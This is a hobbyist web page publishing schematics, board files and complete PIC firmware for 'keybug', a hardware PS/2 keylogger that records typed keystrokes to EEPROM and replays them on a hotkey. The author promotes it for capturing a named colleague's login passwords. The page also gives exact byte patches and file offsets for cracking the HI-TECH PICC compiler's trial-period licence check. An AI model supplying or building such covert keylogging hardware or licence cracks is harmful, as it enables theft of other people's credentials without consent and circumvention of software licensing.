Keyboard bug

Hello children ! I spent a lot of time designing (hw&sw) this device and firstly I wanted to make this project somehow commercial, but... as soon I realized that there is NOBODY who wants to pay money for this cute device, I decided to put all the schematics & code to the public domain... everything for free :) There are some more reasons for doing this - during doing some electronics I found very helpful www resources. The most important site for this project was this one: http://www.beyondlogic.org/keyboard/keybrd.htm. Without this perfect description of PS2 keyboard protocol, it would be hard to design this keybug.

Ok. Maybe you ask, what is it all about ? You can feel it from the name "keybug", it is a simple but powerfull hardware keyboard logger, just connect keybug between computer and PS2 keyboard and catch your colleague login passwords (greetings fly to Michal Janos from Sygic :) It does not depend whether is his system Win or Linux...

Some comments to the PCB: I made a few mistakes there... It was my first PCB using SMT's, and in the schematics I have used wrong type of NPN transistors... I can't remember the exact type, but you only need to place them upside-down on the board. It is always important to check your transistor's datasheet before soldering it to the board... It saves time :) Next problem... Due to stupid mirror-problems when placing the PS2 connector to the schematics, there is one air-connection near the PS2 conn (that brown line). To the schematic - it is possible to leave out some components - for example when you are compiling the code with MCLR DISABLED option, you can leave out the MCLR resistor+capacitor. Probably the controlled switch (NPN+DIODE) belonging to clock (or data?) line can be left too.



So... what do we see here ? :) Here is the schematic, on the left side is a PS2 connector (female) for plugging the keyboard. On the opposite side are pins to connect a PS2 male connector for plugging into PC. In between are two controlled switches, they are disconnecting keyboard from the computer in the case, we are transmitting characters. GP2=hi means default state - keyboard is connected transparently to PC and we are listening, what is user typing. GP2=low when the PIC is sending characters to PC. During this process it is necessary to isolate the keyboard, not to listen our key-sending. On the bottom is the heart (oh what a stupid name) PIC microcontroller. You can buy anyone that is 8pin SOIC and have enough flash memory and internal oscillator @ 4MHz. C3&R10 can be left out when compiling the code with MCLRDIS option.

Schematic (negative)
 Download EAGLE Schematic

PCB diagram
 Download EAGLE Board

PCB etching diagram @ 600dpi (50%)
 Download @ 600 dpi

And finally the long part.... program codes. Everything here was developed on MPLAB with Hi-tech PICC compiler I cracked myself using IDA & Hiew & Ollydbg :) I couldnt find a cracked version or a patch so I decided that it is time to learn how to f**k with system. Using the right tools it is really simple, all the PICC compilers have the same licensing-system. In PICC.exe a CGPIC.EXE you can find code that gets current date&time and compare it with datetime when picc was installed. Probably it is a datetime of some file, I dont care... I found a function that generates some timestamp from datetime and compares it with the end of trial period. I altered this code a little and shift the the trial period... Ok, the simple part - look for this byte sequence : 81 EA CC 2A 00 00 and replace it with 33 D2 90 90 90 90. Do this for every file in the C:\Programs\Lang\PICC\std\9.60\bin\ folder - you will find two or three files with this sequence, it works for 9.50 & 9.60 versions without any problem. Dont forget !!! When you have enough money to buy this compiler, buy it and support developers ! HiTech programmers deserve it :) They made a really good work ! ...almost forget to say there is a free version called PICC Lite with some limitations...

How to crack Hitech PICC compiler
Comparing files picc.old and PICC.EXE
0001C78C: 81 33
0001C78D: EA D2
0001C78E: CC 90
0001C78F: 2A 90
0001C790: 00 90
0001C791: 00 90

0001CA53: 81 33
0001CA54: EA D2
0001CA55: CC 90
0001CA56: 2A 90
0001CA57: 00 90
0001CA58: 00 90
 Download free version PICC Line

How to crack ANY Hitech PICC compiler
All the PICC compilers use the same way of checking the validity of trial period. Use any HEX viewer (hiew.exe is the best one) and change the sequence 43,4c,53,49,89,95,e4,fb,ff to 00,00,00,00,e9,ba,00,00,00. This hack is much better than the one I described above. This byte sequence is stored mostly in two files - *pic*.exe and *cgpic*.exe, here is an example:
Comparing files cgpic18.exe and CGPIC18.OLD
000275E4: 00 43
000275E5: 00 4C
000275E6: 00 53
000275E7: 00 49
000275E8: E9 89
000275E9: BA 95
000275EA: 00 E4
000275EB: 00 FB
000275EC: 00 FF

Comparing files picc18.exe and PICC18.OLD
0001C1F4: 00 43
0001C1F5: 00 4C
0001C1F6: 00 53
0001C1F7: 00 49
0001C1F8: E9 89
0001C1F9: BA 95
0001C1FA: 00 E4
0001C1FB: 00 FB
0001C1FC: 00 FF
Dont ask me for any executable crack, if you dont know how to deal with binary editors, you should learn it, or ask someone more experienced.
 Download free version PICC Line

You will find maybe some comments in Slovak...

main.c
#include <htc.h>

/*
  TODO :
    pri pohybe mysou sa na clock privadzaju podivne impulzy ako keby
    v dlzke trvania jedneho prikazu {asi 6ms, perioda 12ms}, DATA ostava
    na HI, meni sa iba CLOCK, pri kazdej mysovej aktivite su vyslane
    4 taketo impulzy, program ich vyhodnoti ako komunikacia zo strany
    pocitaca a kedze su tam 4 zostupne hrany, prikaz je neuspesne prijaty
    a program je rozsynchronizovany. Istu moznost riesenia desynchronizacie
    predstavuje softwarovy watchdog, ktory je nakopnuty pri kazdej zostupnej
    hrane, normalne su tieto volane kazdych 50us, v nasom pripade je to
    12ms, takze watchdog po 8ms necinnosti vyvola vypustenie buffera 
    prijimaneho prikazu
    * FIXED

  HW PROBLEM:
    pri vypustani buffera, kolizia s mysou, skrat kedze log 0. posielam
    natvrdo cez TRIS=0, pocitac zdvihne z mojich 0V na jeho 5V a je tam
    skrat
    * NEED NEW DESIGN !

*/

__CONFIG(BORDIS & UNPROTECT & MCLREN & PWRTEN & WDTDIS & INTIO);

#include "Delay.h"
#include "PS2keyb.h"
#include "ScanCodes.h"

#define KB_BUFFER_SIZE 32

#define _KeyDown 0xFC
#define _KeyUp   0xFD
#define _ShOn  _KeyDown, SC_LShift
#define _ShOff  _KeyUp, SC_LShift

#define __ShOn    "\xFC\x12"
#define __ShOff    "\xFD\x12"
#define __AltOn    "\xFC\x11"
#define __AltOff  "\xFD\x11"
#define __Spc    "\x29"

unsigned char KB_bHotKey = 0;
unsigned char KB_Buffer[KB_BUFFER_SIZE+1];
unsigned char KB_BufferI = 0;

static const char aMessage[]  = {
  __ShOn "\x42" __ShOff "\x24\x35" __ShOn "\x32" __ShOff "\x3c\x34" __Spc
  "\x2a\x24\x2d\x29\x1e\x49\x45" __Spc
  __AltOn "\x6b" __AltOff __Spc  
    "\x34\x1c\x32\x44\x31\x1c\x2c\x44\x2d"
  __ShOn "\x1e" __ShOff "\x43\x31\x3a\x1c\x43\x4b\x49\x1b\x42\x29"
  __AltOn "\x6B" __AltOff __Spc
  "\x1e\x45\x45\x3d"};

#define EI() 
#define DI()

void main()
{
  // Main peripheral init
  RP0 = 0;
  GPIO = 0;
  CMCON = 0b00000111;
  RP0 = 1;
  OPTION = 0b00000000;
  ANSEL = 0b00000000;  
  INTCON = 0;
  PIE1 = 0;
  GPPU = 0;
  di();
  
  KB_Init();
  while(1)
  {
    KB_Do();
  }
}


void EE_Save(void)
{
  unsigned char i;
  DI();
  for (i=0; i<KB_BufferI; i++)
    eeprom_write(i, KB_Buffer[i]);
  eeprom_write(KB_BufferI, 0);
  EI();
}

void EE_Load(void)
{
  unsigned char i, l;
  DI();
  for (i=0; i<KB_BUFFER_SIZE; i++)
  {
    l = eeprom_read(i); 
    if ( l==0 || l==255 )
    {
      KB_BufferI = i;
      return;
    }
    KB_Buffer[i] = l;
  }
  EI();
}

void PushBuffer( unsigned char nCode )
{
  if (KB_BufferI < KB_BUFFER_SIZE)
  {
    KB_Buffer[KB_BufferI++] = nCode;
    if ( KB_BufferI == KB_BUFFER_SIZE )
      EE_Save();
  }
}

void KB_DumpBuffer(char const *pBuffer)
{
  unsigned char i, nCode;
  DI();
  DelayMs(200);
  DelayMs(200);
  while ( KB_DATA == 0 || KB_CLK == 0 )
    DelayMs(1);

  KB_Sending();
  for( ; *pBuffer; pBuffer++)
  {
    switch ( *pBuffer )
    {
      case _KeyDown:
        nCode = *(++pBuffer);
        KB_Send(nCode);    // key down
        DelayMs(20);      // check whether the bus is free
        break;

      case _KeyUp:
        nCode = *(++pBuffer);
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(nCode);
        DelayMs(20);      // check whether the bus is free
        break;

      default:          // send both commands
        KB_Send(nCode);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(nCode);
        DelayMs(20);      // check whether the bus is free
    }
  }
  KB_Receiving();
  EI();
}

void KB_Backspace(unsigned int nCount)
{
  unsigned char i;
  DI();
  DelayMs(200);
  DelayMs(200);
  while ( KB_DATA == 0 || KB_CLK == 0 )
    DelayMs(1);

  KB_Sending();
  for( i=0; i<nCount; i++)
  {
    KB_Send(SC_Bkspc);  // key down
    DelayMs(20);
    KB_Send(SC_Release);      // key up
    DelayMs(1);
    KB_Send(SC_Bkspc);
    DelayMs(20);
  }
  KB_Receiving();
  EI();
}

void KB_OnKeyUp( unsigned char nCmd )
{
#ifdef DEBUG
  dbg(nCmd, 0xb0);
#endif

  if (KB_bHotKey)
  {
    KB_bHotKey = 0;

    if ( nCmd == 0x15 )   // Q = dump buffer
    {
      DI();
      KB_Backspace(2);
      KB_Buffer[KB_BufferI] = 0;
      KB_DumpBuffer(KB_Buffer);
      EI();
    }
    if ( nCmd == 0x1A )    // Z = start recording
    {
      DI();
      KB_Backspace(2);
      KB_BufferI = 0;
      EI();
    }
    if ( nCmd == 0x43 )    // I = info
    {
      DI();
      KB_Backspace(2);
      KB_DumpBuffer(aMessage);
      EI();
    }
    if ( nCmd == 0x1b )    // S = save
    {
      DI();
      EE_Save();
      KB_Backspace(2);
      EI();
    }
    if ( nCmd == 0x4b )    // L = load
    {
      DI();
      EE_Load();
      KB_Backspace(2);
      KB_Buffer[KB_BufferI] = 0;
      KB_DumpBuffer(KB_Buffer);
      EI();
    }

    return;
  }

  if (nCmd == 0x0E )      // tilda
  {
    KB_bHotKey = 1;
    return;
  }

  switch ( nCmd )
  {
    case SC_LShift:
    case SC_RShift:
    case SC_Ctrl:
    case SC_Alt:
      PushBuffer( _KeyUp );
  }

  PushBuffer( nCmd );
}

void KB_OnKeyDown( unsigned char nCmd )
{
#ifdef DEBUG
  dbg(nCmd, 0xa0);
#endif

  switch ( nCmd )
  {
    case SC_LShift:
    case SC_RShift:
    case SC_Ctrl:
    case SC_Alt:
      PushBuffer( _KeyDown );
      PushBuffer( nCmd );
  }
}



#ifdef DEBUG
static const char aHex[] =   "\x45\x16\x1e\x26\x25\x2e\x36\x3d"
              "\x3e\x46\x1c\x32\x21\x23\x24\x2b";

void dbg(unsigned char ch0, unsigned char ch1)
{
unsigned char a, b, c, d;
a = aHex[ch0 >> 4];
b = aHex[ch0 & 15];
c = aHex[ch1 >> 4];
d = aHex[ch1 & 15];

    DelayMs(100);
    DelayMs(100);
    DelayMs(100);
    DelayMs(100);

    KB_Sending();

        KB_Send(0x4e);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(0x4e);
        DelayMs(20);      // check whether the bus is free

        KB_Send(c);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(c);
        DelayMs(20);      // check whether the bus is free

        KB_Send(d);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(d);
        DelayMs(20);      // check whether the bus is free

        KB_Send(a);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(a);
        DelayMs(20);      // check whether the bus is free

        KB_Send(b);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(b);
        DelayMs(20);      // check whether the bus is free

        KB_Send(0x4e);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(0x4e);
        DelayMs(20);      // check whether the bus is free

        KB_Send(SC_Space);    // key down
        DelayMs(20);      // check whether the bus is free
        KB_Send(0xF0);      // key up
        DelayMs(1);
        KB_Send(SC_Space);
        DelayMs(20);      // check whether the bus is free

    KB_Receiving();
 
}
#else
void dbg(unsigned char ch0, unsigned char ch1)
{
}
#endif
 Download

Here is the PS2 protocol driver, that can be used widely ... in any application (terminals, key simulating devices, password generators). I am really proud of this piece of code :) hehe Timing was measured and calibrated with OWON oscilloscope to conform the PS2 specification.


PS2keyb.c
#include <pic.h>
#include "PS2keyb.h"
#include "delay.h"

// private variables
KB_BANK unsigned char KB_LastState = 1;
KB_BANK unsigned char KB_ReadBites = 0;
KB_BANK unsigned char KB_Read = 0;

KB_BANK unsigned char KB_Host = 0;
KB_BANK unsigned char KB_bRelease = 0;
KB_BANK unsigned char KB_Index = 0;

KB_BANK unsigned char KB_Watchdog = 0;

// functions
void KB_Init(void)
{
  KB_DATA_Z;
  KB_CLK_Z;
  KB_THROUGH_DIR = 0;
  KB_THROUGH = 1;
}

void KB_Send(unsigned int nCmd)
{
  unsigned char i;
  unsigned int nCode;
  nCode = nCmd << 1;
  
  while (nCmd)
  {
    if ( nCmd & 1 )
      nCode ^= 1 << 9;
    nCmd >>= 1;
  }
  nCode ^= 1 << 9;  // odd/even ?  
  nCode |= 1<<10;  

//  KB_DATA = 1;
//  KB_CLK = 1;
//  KB_DATA_DIR = 0;
//  KB_CLK_DIR = 0;
  DelayUs(14);
  for (i=0; i<11; i++)
  {
    if ( nCode & 1 )
    {
      KB_DATA_HI
    }
    else
    {
      KB_DATA_LO
    }

    nCode >>= 1;
    DelayUs(15-7-3);  // 16 us
    KB_CLK_LO;
    DelayUs(35-3-2);   // 40 us
    asm("nop");
    KB_CLK_HI;
    DelayUs(7-1);  // s nasledujucim 40us
  }
  DelayUs(30);  // dokonci 3us
//  KB_DATA_DIR = 1;
//  KB_CLK_DIR = 1;
}

void KB_Sending(void)
{
  KB_THROUGH = 0;
  KB_DATA_HI;
  KB_CLK_HI;
/*
  KB_DATA_DIR = 0;
  KB_DATA = 1;
  KB_CLK_DIR = 0;
  KB_CLK = 1;
*/
}

void KB_Receiving(void)
{
  KB_DATA_Z;
  KB_CLK_Z;
  //KB_DATA_DIR = 1;
  //KB_CLK_DIR = 1;
  KB_THROUGH = 1;
}

void KB_Cmd(unsigned char nCmd)
{
#ifdef DEBUG
  dbg(nCmd, 0xc0);
  return;
#endif
  if (KB_bRelease)
  {
    // store character in RAM
    //KB_OnChar( nCmd );
    KB_OnKeyUp( nCmd );
    KB_bRelease = 0;
    return;
  }
  if (nCmd == 0xF0)
    KB_bRelease = 1;
  else
    KB_OnKeyDown( nCmd );
}

void KB_CmdHost(unsigned char nCmd)
{
#ifdef DEBUG
  dbg(nCmd, 0xe0);
#endif
}

void KB_Reset(void)
{
  KB_ReadBites = 0;
  KB_Read = 0;
  KB_Watchdog = 0;
}

void KB_Do(void)
{  
#ifdef KB_LOOP
  while (1) {
#endif
  if ( KB_LastState == KB_CLK )
  {  
    // RB3 = !RB3;
    // vola sa kazdych 19 us
    if (KB_Watchdog++ < 100)
      KB_RETURN;

    KB_Watchdog = 0;
    KB_ReadBites = 0;
    KB_Read = 0;
    KB_RETURN;        // empty mismatched buffer
  }

  KB_Watchdog = 0;
  KB_LastState = KB_CLK;

  if ( KB_LastState )
    KB_RETURN;        // ignore rising edge

  // valid bit v KB_DATA
  if ( KB_ReadBites == 0 )
    KB_Host = KB_DATA;    // 0 = from keyboard, 1 = from host

  if ( KB_Host )
  {
    if ( KB_ReadBites > 1 && KB_ReadBites < 10 )
    {
      KB_Read >>= 1;
      if ( KB_DATA )
        KB_Read |= 128;  
    }
    if ( ++KB_ReadBites == 13 )
    {
      KB_CmdHost( KB_Read );
      KB_Read = 0;
      KB_ReadBites = 0;      
    }
  } else
  {
    if ( KB_ReadBites > 0 && KB_ReadBites < 9 )
    {
      KB_Read >>= 1;
      if ( KB_DATA )
        KB_Read |= 128;  
    }
    if ( ++KB_ReadBites == 11 )
    {
      KB_Cmd( KB_Read );
      KB_Read = 0;
      KB_ReadBites = 0;      
    }
  }
#ifdef KB_LOOP
  }
#endif
}
 Download

PS2keyb.h
#ifndef __PS2Keyb_h
#define __PS2Keyb_h
// IO

#define KB_DATA GPIO0
#define KB_CLK  GPIO1

#define KB_THROUGH GPIO2
#define KB_THROUGH_DIR TRIS2

#define KB_LOOP
#define KB_BANK 


//#define KB_DATA_HI  { TRIS0 = 1; WPU0 = 1; }
#define KB_DATA_HI  { TRIS0 = 0; GPIO0 = 1; }
#define KB_DATA_LO  { TRIS0 = 0; GPIO0 = 0; }
#define KB_DATA_Z  { TRIS0 = 1; WPU0 = 1; }

#define KB_CLK_HI  { TRIS1 = 1; WPU1 = 1; }
#define KB_CLK_LO  { TRIS1 = 0; GPIO1 = 0; }
#define KB_CLK_Z  { TRIS1 = 1; WPU1 = 1; }

// public
void KB_Init(void);
void KB_Do(void);

void KB_Send(unsigned int nCmd);
void KB_Sending(void);
void KB_Receiving(void);
void KB_Reset(void);

// virtuals
//void KB_OnChar( unsigned char nCmd );
void KB_OnKeyDown( unsigned char nCmd );
void KB_OnKeyUp( unsigned char nCmd );
//void KB_Watchdog( void );


extern void dbg(unsigned char ch0, unsigned char ch1);


#ifdef KB_LOOP
#define KB_RETURN continue
#else
#define KB_RETURN return
#endif

#endif
 Download

...firstly I wanted to rewrite all the key scancodes, but I couldn't find good resources for automated processing...

ScanCodes.h
#define SC_LShift   0x12
#define SC_Ctrl   0x14
#define SC_Alt     0x11
#define SC_RShift  0x59
#define SC_Enter  0x5A

#define SC_Bkspc  0x66

#define SC_Tilda 0x0E

#define SC_A 0x1C
#define SC_B 0x1B
#define SC_C 0x21

#define SC_Space 0x29

#define SC_Caps 0x58


//
#define SC_Release  0xF0
 Download

And last two files are from PICC library, they are resposible for accurate timing...

delay.c
/*
 *  Delay functions
 *  See delay.h for details
 *
 *  Make sure this code is compiled with full optimization!!!
 */

#include  "delay.h"

void
DelayMs(unsigned char cnt)
{
#if  XTAL_FREQ <= 2MHZ
  do {
    DelayUs(996);
  } while(--cnt);
#endif

#if    XTAL_FREQ > 2MHZ  
  unsigned char  i;
  do {
    i = 4;
    do {
      DelayUs(250);
    } while(--i);
  } while(--cnt);
#endif
}
 Download

delay.h
/*
 *  Delay functions for HI-TECH C on the PIC
 *
 *  Functions available:
 *    DelayUs(x)  Delay specified number of microseconds
 *    DelayMs(x)  Delay specified number of milliseconds
 *
 *  Note that there are range limits: x must not exceed 255 - for xtal
 *  frequencies > 12MHz the range for DelayUs is even smaller.
 *  To use DelayUs it is only necessary to include this file; to use
 *  DelayMs you must include delay.c in your project.
 *
 */

/*  Set the crystal frequency in the CPP predefined symbols list in
  HPDPIC, or on the PICC commmand line, e.g.
  picc -DXTAL_FREQ=4MHZ
  
  or
  picc -DXTAL_FREQ=100KHZ
  
  Note that this is the crystal frequency, the CPU clock is
  divided by 4.

 *  MAKE SURE this code is compiled with full optimization!!!
  
 */

#ifndef  XTAL_FREQ
#define  XTAL_FREQ  4MHZ    /* Crystal frequency in MHz */
#endif

#define  MHZ  *1000L      /* number of kHz in a MHz */
#define  KHZ  *1      /* number of kHz in a kHz */

#if  XTAL_FREQ >= 12MHZ

#define  DelayUs(x)  { unsigned char _dcnt; \
        _dcnt = (x)*((XTAL_FREQ)/(12MHZ)); \
        while(--_dcnt != 0) \
          continue; }
#else

#define  DelayUs(x)  { unsigned char _dcnt; \
        _dcnt = (x)/((12MHZ)/(XTAL_FREQ))|1; \
        while(--_dcnt != 0) \
          continue; }
#endif

extern void DelayMs(unsigned char);

 Download

Ok, now I should put here some photos of the device.. maybe later :) Some words on how to use my keybug: connect it between PC and keyboard, press the key left from number 1 (' or ~), then press key i, when everything works, it should type something like "keybug 2.0 gabonator 2007", commands :

  • ~i types the version,
  • ~q flushes the buffer to screen,
  • ~z start recording,
  • ~l flushes the EEPROM to screen,
  • ~s stores the buffer to eeprom...

Keyboard schematic
 Download full page

Keybug photos
 

TODO:
(hodit scan manualu klavesnice so schemou)
(hodit manual)
(ako programovat)